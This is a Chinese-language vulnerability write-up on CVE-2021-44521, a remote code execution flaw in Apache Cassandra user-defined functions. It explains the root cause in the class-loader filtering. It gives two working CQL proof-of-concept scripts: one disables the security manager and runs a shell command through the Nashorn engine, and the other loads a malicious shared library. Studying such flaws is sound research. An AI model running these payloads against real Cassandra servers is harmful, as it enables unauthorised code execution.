CVE-2021-44521 Apache Cassandra 加载UDF RCE

警告
本文最后更新于 2022-02-12,文中内容可能已过时。

# 环境

Cassandra 4.0.0

# 漏洞分析

先说原理,enable_user_defined_functions_threads为false时会隐式禁用security-manager,导致可以通过udf执行java代码。

官方公告 https://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40

使用以下配置

1
2
3
enable_user_defined_functions: true
enable_scripted_user_defined_functions: true
enable_user_defined_functions_threads: false

攻击者有可能在主机上执行任意代码。搜了下文档,发现有一个function的功能

image.png

用户可以创建udf(用户自定义函数)来执行自定义代码。

image.png

默认支持java或者javascript两种。简单看了下代码

org.apache.cassandra.cql3.functions.UDFunction#create 这个地方会创建对应的代码引擎,这两个引擎都继承自UDFunction,并且被设置了一个自定义的classloader:UDFunction.udfClassLoader

image.png

这个classloader找class时会进行过滤

image.png

secureResource函数定义如图

image.png

会遍历黑白名单,要求既要在白名单中并且不在黑名单中。

白名单

image.png

黑名单

image.png

可以用java.lang.System.load('/tmp/aaa.so');来加载恶意的so文件达到执行命令的目的。

# 复现

1
2
3
4
5
6
7
CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3};
use test;
CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records';
create or replace function test.exec(name text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE javascript AS $$
var System = Java.type("java.lang.System");System.setSecurityManager(null);this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec("touch hacked1")');name $$;
insert into tab(cmd) values('test');
select exec(cmd) from tab;

在这篇文章中 解释了在 Nashorn 上运行 JavaScript 代码时,我们可以使用this.engine来访问 Nashorn 实例引擎,允许我们通过创建一个不受类过滤机制限制的新脚本引擎来绕过任何类过滤器。

较新版本的java中,安全管理器启用时可能会阻止对this.engine的访问,可以用Java.type("java.lang.System");System.setSecurityManager(null);来处理。

# 另一种方式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3};
use test;
CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records';
CREATE OR REPLACE FUNCTION exec(cmd text)
    RETURNS NULL ON NULL INPUT
    RETURNS text
    LANGUAGE javascript
    AS $$
        java.lang.System.load('/tmp/aa.so');
    $$;

insert into tab(cmd) values('test');
select exec(cmd) from tab;

如果你一直报java security manager的问题

image.png

就是没改conf/cassandra.yaml配置文件,要加上这一行

image.png

so文件怎么生成参考园长的文章: https://www.javaweb.org/?p=1866

# 参考

  1. https://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40
  2. https://cassandra.apache.org/doc/latest/cassandra/cql/functions.html
  3. https://tttang.com/archive/1436/
  4. 园长的文章
  5. https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/
  6. https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。